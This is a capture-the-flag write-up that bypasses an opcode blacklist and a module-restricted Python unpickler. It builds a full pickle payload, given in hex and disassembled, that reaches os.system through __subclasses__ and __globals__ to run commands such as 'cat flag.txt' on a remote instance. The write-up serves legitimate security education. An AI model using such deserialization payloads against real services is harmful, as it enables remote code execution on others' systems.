Pickle Panic

9 minutes to read

We are given this Python script that is executed in the remote instance:

#!/usr/bin/env python3

import pickle
import pickletools
import io
import sys

BLACKLIST_OPCODES = {
    "BUILD",
    "SETITEM",
    "SETITEMS",
    "DICT",
    "EMPTY_DICT",
    "INST",
    "OBJ",
    "NEWOBJ",
    "EXT1",
    "EXT2",
    "EXT4",
    "EMPTY_SET",
    "ADDITEMS",
    "FROZENSET",
    "NEWOBJ_EX",
    "FRAME",
    "BYTEARRAY8",
    "NEXT_BUFFER",
    "READONLY_BUFFER",
}

module = type(__builtins__)
empty = module("empty")
sys.modules["empty"] = empty


class MyUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "empty" and name.count(".") <= 1 and "setattr" not in name and "setitem" not in name:  
            return super().find_class(module, name)
        else:
            raise pickle.UnpicklingError("No :(")


def check(data):
    return (
        all(
            opcode.name not in BLACKLIST_OPCODES
            for opcode, _, _ in pickletools.genops(data)
        )
        and len(data) <= 400
    )


if __name__ == "__main__":
    data = bytes.fromhex(input("Enter your hex-encoded pickle data: "))
    if check(data):
        result = MyUnpickler(io.BytesIO(data)).load()
        print(f"Result: {result}")
    else:
        print("Check failed :(")

We also have a Dockerfile with a specific version of Python:

FROM python@sha256:4949a0cd8c491c3ab21132533a487dbe8fb6dae586b667ed4b3d19c8b127187e  
RUN apk add --no-cache socat
RUN adduser --disabled-password --no-create-home picklepanic
COPY challenge /challenge/
WORKDIR /challenge
EXPOSE 1337
ENTRYPOINT ["./entrypoint.sh"]

`pickle` internals

As can be seen, the script allows us to enter a serialized pickle object that will be deserialized an printed afterwards. However, there is a custom class MyUnpickler that overrides some pickle internals stuff to disallow some opcode instructions (BLACKLIST_OPCODES).

There are a lot of opcodes. We can take the whole list and find those that are allowed. We will be using the Docker container to work with the same Python version as in the remote instance:

$ docker ps -a
CONTAINER ID   IMAGE              COMMAND             CREATED         STATUS         PORTS                    NAMES
c81c7ed47fc8   misc_picklepanic   "./entrypoint.sh"   2 minutes ago   Up 2 minutes   0.0.0.0:1337->1337/tcp   goofy_hypatia

$ docker exec -it c81 sh
/challenge # python3 --version
Python 3.10.11
/challenge # python3 -i challenge.py
Enter your hex-encoded pickle data: asdf
Traceback (most recent call last):
  File "/challenge/challenge.py", line 54, in <module>
    data = bytes.fromhex(input("Enter your hex-encoded pickle data: "))
ValueError: non-hexadecimal number found in fromhex() arg at position 1
>>> BLACKLIST_OPCODES
{'NEXT_BUFFER', 'EXT4', 'BYTEARRAY8', 'SETITEM', 'SETITEMS', 'DICT', 'BUILD', 'FRAME', 'EXT1', 'EMPTY_DICT', 'FROZENSET', 'READONLY_BUFFER', 'OBJ', 'NEWOBJ_EX', 'INST', 'EMPTY_SET', 'NEWOBJ', 'ADDITEMS', 'EXT2'}
>>> ALL_OPCODES = {'MARK', 'STOP', 'POP', 'POP_MARK', 'DUP', 'FLOAT', 'INT', 'BININT', 'BININT1', 'LONG', 'BININT2', 'NONE', 'PERSID', 'BINPERSID', 'REDUCE', 'STRING', 'BINSTRING', 'SHORT_BINSTRING', 'UNICODE', 'BINUNICODE', 'APPEND', 'BUILD', 'GLOBAL', 'DICT', 'EMPTY_DICT', 'APPENDS', 'GET', 'BINGET', 'INST', 'LONG_BINGET', 'LIST', 'EMPTY_LIST', 'OBJ', 'PUT', 'BINPUT', 'LONG_BINPUT', 'SETITEM', 'TUPLE', 'EMPTY_TUPLE', 'SETITEMS', 'BINFLOAT', 'PROTO', 'NEWOBJ', 'EXT1', 'EXT2', 'EXT4', 'TUPLE1', 'TUPLE2', 'TUPLE3', 'NEWTRUE', 'NEWFALSE', 'LONG1', 'LONG4', 'BINBYTES', 'SHORT_BINBYTES', 'SHORT_BINUNICODE', 'BINUNICODE8', 'BINBYTES8', 'EMPTY_SET', 'ADDITEMS', 'FROZENSET', 'NEWOBJ_EX', 'STACK_GLOBAL', 'MEMOIZE', 'FRAME', 'BYTEARRAY8', 'NEXT_BUFFER', 'READONLY_BUFFER'}  
>>> ALL_OPCODES.difference(BLACKLIST_OPCODES)
{'GET', 'STACK_GLOBAL', 'BININT2', 'INT', 'BINSTRING', 'UNICODE', 'NEWTRUE', 'REDUCE', 'NEWFALSE', 'STOP', 'TUPLE', 'EMPTY_LIST', 'LONG_BINPUT', 'SHORT_BINBYTES', 'BINPUT', 'APPEND', 'TUPLE1', 'NONE', 'SHORT_BINUNICODE', 'POP', 'GLOBAL', 'TUPLE2', 'BINUNICODE8', 'DUP', 'POP_MARK', 'BININT1', 'FLOAT', 'LONG', 'PERSID', 'LONG_BINGET', 'LIST', 'TUPLE3', 'BININT', 'BINUNICODE', 'PROTO', 'STRING', 'BINPERSID', 'PUT', 'EMPTY_TUPLE', 'APPENDS', 'SHORT_BINSTRING', 'LONG4', 'LONG1', 'BINGET', 'BINFLOAT', 'MARK', 'BINBYTES', 'MEMOIZE', 'BINBYTES8'}
>>> print('\n'.join(ALL_OPCODES.difference(BLACKLIST_OPCODES)))
GET
STACK_GLOBAL
BININT2
INT
BINSTRING
UNICODE
NEWTRUE
REDUCE
NEWFALSE
STOP
TUPLE
EMPTY_LIST
LONG_BINPUT
SHORT_BINBYTES
BINPUT
APPEND
TUPLE1
NONE
SHORT_BINUNICODE
POP
GLOBAL
TUPLE2
BINUNICODE8
DUP
POP_MARK
BININT1
FLOAT
LONG
PERSID
LONG_BINGET
LIST
TUPLE3
BININT
BINUNICODE
PROTO
STRING
BINPERSID
PUT
EMPTY_TUPLE
APPENDS
SHORT_BINSTRING
LONG4
LONG1
BINGET
BINFLOAT
MARK
BINBYTES
MEMOIZE
BINBYTES8

Testing

Just for testing, let’s analyze a typical pickle RCE exploit:

>>> class Evil():
...     def __reduce__(self):
...         return exec, ('import os; os.system("whoami")', )
...
>>> data = pickle.dumps(Evil())
>>> data
b'\x80\x04\x95:\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04exec\x94\x93\x94\x8c\x1eimport os; os.system("whoami")\x94\x85\x94R\x94.'  
>>> pickletools.dis(data)
    0: \x80 PROTO      4
    2: \x95 FRAME      58
   11: \x8c SHORT_BINUNICODE 'builtins'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'exec'
   28: \x94 MEMOIZE    (as 1)
   29: \x93 STACK_GLOBAL
   30: \x94 MEMOIZE    (as 2)
   31: \x8c SHORT_BINUNICODE 'import os; os.system("whoami")'
   63: \x94 MEMOIZE    (as 3)
   64: \x85 TUPLE1
   65: \x94 MEMOIZE    (as 4)
   66: R    REDUCE
   67: \x94 MEMOIZE    (as 5)
   68: .    STOP
highest protocol among opcodes = 4
>>> check(data)
False
>>> MyUnpickler(io.BytesIO(data)).load()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/challenge/challenge.py", line 40, in find_class
    raise pickle.UnpicklingError("No :(")
_pickle.UnpicklingError: No :(

It wasn’t going to be that easy. In fact, there are several pickle protocols (4 is the default one). Protocol 0 is simpler:

>>> data = pickle.dumps(Evil(), protocol=0)
>>> data
b'c__builtin__\nexec\np0\n(Vimport os; os.system("whoami")\np1\ntp2\nRp3\n.'  
>>> pickletools.dis(data)
    0: c    GLOBAL     '__builtin__ exec'
   18: p    PUT        0
   21: (    MARK
   22: V        UNICODE    'import os; os.system("whoami")'
   54: p        PUT        1
   57: t        TUPLE      (MARK at 21)
   58: p    PUT        2
   61: R    REDUCE
   62: p    PUT        3
   65: .    STOP
highest protocol among opcodes = 0
>>> check(data)
True
>>> MyUnpickler(io.BytesIO(data)).load()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/challenge/challenge.py", line 40, in find_class
    raise pickle.UnpicklingError("No :(")
_pickle.UnpicklingError: No :(

But it fails again. At this point, we must understand how pickle works. Basically, it is a VM with some opcodes, a stack and a memory. These are some important opcodes:

GLOBAL: This one loads a module and a symbol onto the stack, so that it can be called afterwards
MARK: Sets a mark of an object that will go to the stack
TUPLE: Defines a tuple up to the previous MARK
EMPTY_TUPLE: Pushes an empty tuple onto the stack
REDUCE: Calls module.function (from GLOBAL) using the elements in the stack as arguments (from MARK)
PUT: Enters the current object of the stack in a given index of the memory
GET: Takes the object at a given index of the memory onto the stack
INT: Defines an integer
STRING: Defines a string
POP: Clears the stack
STOP: Tells pickle to stop executing

There are more opcodes that might be useful. More information on this pickle VM in the following resources:

Limitations

The custom class MyUnpickler restricts a lot (appart from BLACKLIST_OPCODES):

        if module == "empty" and name.count(".") <= 1 and "setattr" not in name and "setitem" not in name:  
            return super().find_class(module, name)

First of all, we can only use a module called empty, which is defined as “empty”:

module = type(__builtins__)
empty = module("empty")
sys.modules["empty"] = empty

So, we cannot use os, sys, __builtins__… But, although the module is “empty”, there are some attributes:

>>> empty
<module 'empty'>
>>> dir(empty)
['__doc__', '__loader__', '__name__', '__package__', '__spec__']

And even more, if we take some Python jail escapes as inspiration:

>>> empty.__dict__
{'__name__': 'empty', '__doc__': None, '__package__': None, '__loader__': None, '__spec__': None}  
>>> empty.__class__
<class 'module'>
>>> empty.__repr__
<method-wrapper '__repr__' of module object at 0xffff7f526cf0>

Following with the limitations, we cannot use setattr or setitem:

>>> help(setattr)
Help on built-in function setattr in module builtins:

setattr(obj, name, value, /)
    Sets the named attribute on the given object to the specified value.  

    setattr(x, 'y', v) is equivalent to ``x.y = v''

>>> empty.__setattr__
<method-wrapper '__setattr__' of module object at 0xffff7f526cf0>

There is one more limitation, which is the maximum number of one dot in the GLOBAL opcode.

Exploit development

With all the limitations, I started to play with the pickle VM and got it to print an arbitrary string. First I found a way of doing it using Python:

>>> empty.__class__
<class 'module'>
>>> empty.__class__.__class__
<class 'type'>
>>> empty.__name__
'empty'
>>> empty.__class__.__class__(empty.__name__)
<class 'str'>
>>> empty.__class__.__class__(empty.__name__)('asdf')  
'asdf'

And then I translated it to pickle code:

>>> data = b"\x80\x04cempty\n__class__.__class__\n(cempty\n__name__\ntR(S'asdf'\ntR."  
>>> pickletools.dis(data)
    0: \x80 PROTO      4
    2: c    GLOBAL     'empty __class__.__class__'
   29: (    MARK
   30: c        GLOBAL     'empty __name__'
   46: t        TUPLE      (MARK at 29)
   47: R    REDUCE
   48: (    MARK
   49: S        STRING     'asdf'
   57: t        TUPLE      (MARK at 48)
   58: R    REDUCE
   59: .    STOP
highest protocol among opcodes = 2
>>> check(data)
True
>>> MyUnpickler(io.BytesIO(data)).load()
'asdf'

The idea is to be able to access the __globals__ attribute and find os inside to execute system, as shown in HackTricks. We are able to do this like this:

>>> empty.__class__.__base__.__subclasses__()[137].__init__.__globals__['system']('whoami')  
root
0

The above can be written more verbosely as:

>>> empty.__class__.__base__.__subclasses__().__getitem__(137).__init__.__globals__.__getitem__('system')('whoami')  
root
0

The problem is that we cannot write the above as pickle code that will pass all limitations…

The trick

There is a useful function here:

>>> empty.__dict__
{'__name__': 'empty', '__doc__': None, '__package__': None, '__loader__': None, '__spec__': None}
>>> type(empty.__dict__)
<class 'dict'>
>>> dir(empty.__dict__)
['__class__', '__class_getitem__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__ior__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__or__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__ror__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']

Scroll a bit if needed… It is setdefault:

>>> empty.__dict__.setdefault
<built-in method setdefault of dict object at 0xffff7f4e0bc0>
>>> help(empty.__dict__.setdefault)
Help on built-in function setdefault:

setdefault(key, default=None, /) method of builtins.dict instance
    Insert key with a value of default if key is not in the dictionary.  

    Return the value for key if key is in the dictionary, else default.

This function allows us to set an attribute to a dict. This is pretty needed in our situation to store intermediate objects (remember the . limitation). Moreover, this is like a bypass for the blacklisted setattr and setitem.

So, after a lot of examples an tests, I came across with this pickle code:

>>> data = b"\x80\x04cempty\n__dict__.setdefault\n(S'a'\ncempty\n__class__.__base__\ntR0cempty\na.__subclasses__\n)Rp0\n0cempty\n__dict__.setdefault\n(S'b'\ng0\ntR0cempty\nb.__getitem__\n(I137\ntRp1\n0cempty\n__dict__.setdefault\n(S'c'\ng1\ntR0cempty\n__dict__.setdefault\n(S'd'\ncempty\nc.__init__\ntR0cempty\n__dict__.setdefault\n(S'e'\ncempty\nd.__globals__\ntR0cempty\ne.__getitem__\n(S'system'\ntR(S'whoami'\ntR."  
>>> pickletools.dis(data)
    0: \x80 PROTO      4
    2: c    GLOBAL     'empty __dict__.setdefault'
   29: (    MARK
   30: S        STRING     'a'
   35: c        GLOBAL     'empty __class__.__base__'
   61: t        TUPLE      (MARK at 29)
   62: R    REDUCE
   63: 0    POP
   64: c    GLOBAL     'empty a.__subclasses__'
   88: )    EMPTY_TUPLE
   89: R    REDUCE
   90: p    PUT        0
   93: 0    POP
   94: c    GLOBAL     'empty __dict__.setdefault'
  121: (    MARK
  122: S        STRING     'b'
  127: g        GET        0
  130: t        TUPLE      (MARK at 121)
  131: R    REDUCE
  132: 0    POP
  133: c    GLOBAL     'empty b.__getitem__'
  154: (    MARK
  155: I        INT        137
  160: t        TUPLE      (MARK at 154)
  161: R    REDUCE
  162: p    PUT        1
  165: 0    POP
  166: c    GLOBAL     'empty __dict__.setdefault'
  193: (    MARK
  194: S        STRING     'c'
  199: g        GET        1
  202: t        TUPLE      (MARK at 193)
  203: R    REDUCE
  204: 0    POP
  205: c    GLOBAL     'empty __dict__.setdefault'
  232: (    MARK
  233: S        STRING     'd'
  238: c        GLOBAL     'empty c.__init__'
  256: t        TUPLE      (MARK at 232)
  257: R    REDUCE
  258: 0    POP
  259: c    GLOBAL     'empty __dict__.setdefault'
  286: (    MARK
  287: S        STRING     'e'
  292: c        GLOBAL     'empty d.__globals__'
  313: t        TUPLE      (MARK at 286)
  314: R    REDUCE
  315: 0    POP
  316: c    GLOBAL     'empty e.__getitem__'
  337: (    MARK
  338: S        STRING     'system'
  348: t        TUPLE      (MARK at 337)
  349: R    REDUCE
  350: (    MARK
  351: S        STRING     'whoami'
  361: t        TUPLE      (MARK at 350)
  362: R    REDUCE
  363: .    STOP
highest protocol among opcodes = 2

And it works!

>>> check(data)
True
>>> MyUnpickler(io.BytesIO(data)).load()  
root
0

Now let’s execute cat flag.txt:

>>> data = data.replace(b'whoami', b'cat flag.txt')  
>>> MyUnpickler(io.BytesIO(data)).load()
HTB{fake_flag_for_testing}
0

Flag

So, let’s take encode the pickle code as hexadecimal data and get the flag in the remote instance:

>>> data.hex()
'800463656d7074790a5f5f646963745f5f2e73657464656661756c740a28532761270a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a74523063656d7074790a612e5f5f737562636c61737365735f5f0a295270300a3063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532762270a67300a74523063656d7074790a622e5f5f6765746974656d5f5f0a28493133370a745270310a3063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532763270a67310a74523063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532764270a63656d7074790a632e5f5f696e69745f5f0a74523063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532765270a63656d7074790a642e5f5f676c6f62616c735f5f0a74523063656d7074790a652e5f5f6765746974656d5f5f0a28532773797374656d270a745228532763617420666c61672e747874270a74522e'

At first it didn’t run, and it was because os was not found at index 137 of __subclasses__() but at index 138:

$ nc 178.62.74.235 32575
Enter your hex-encoded pickle data: 800463656d7074790a5f5f646963745f5f2e73657464656661756c740a28532761270a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a74523063656d7074790a612e5f5f737562636c61737365735f5f0a295270300a3063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532762270a67300a74523063656d7074790a622e5f5f6765746974656d5f5f0a28493133380a745270310a3063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532763270a67310a74523063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532764270a63656d7074790a632e5f5f696e69745f5f0a74523063656d7074790a5f5f646963745f5f2e73657464656661756c740a28532765270a63656d7074790a642e5f5f676c6f62616c735f5f0a74523063656d7074790a652e5f5f6765746974656d5f5f0a28532773797374656d270a745228532763617420666c61672e747874270a74522e  
HTB{P1ckle_15_Aw3s0m3_f0r_S3rial1z4t10n}
Result: 0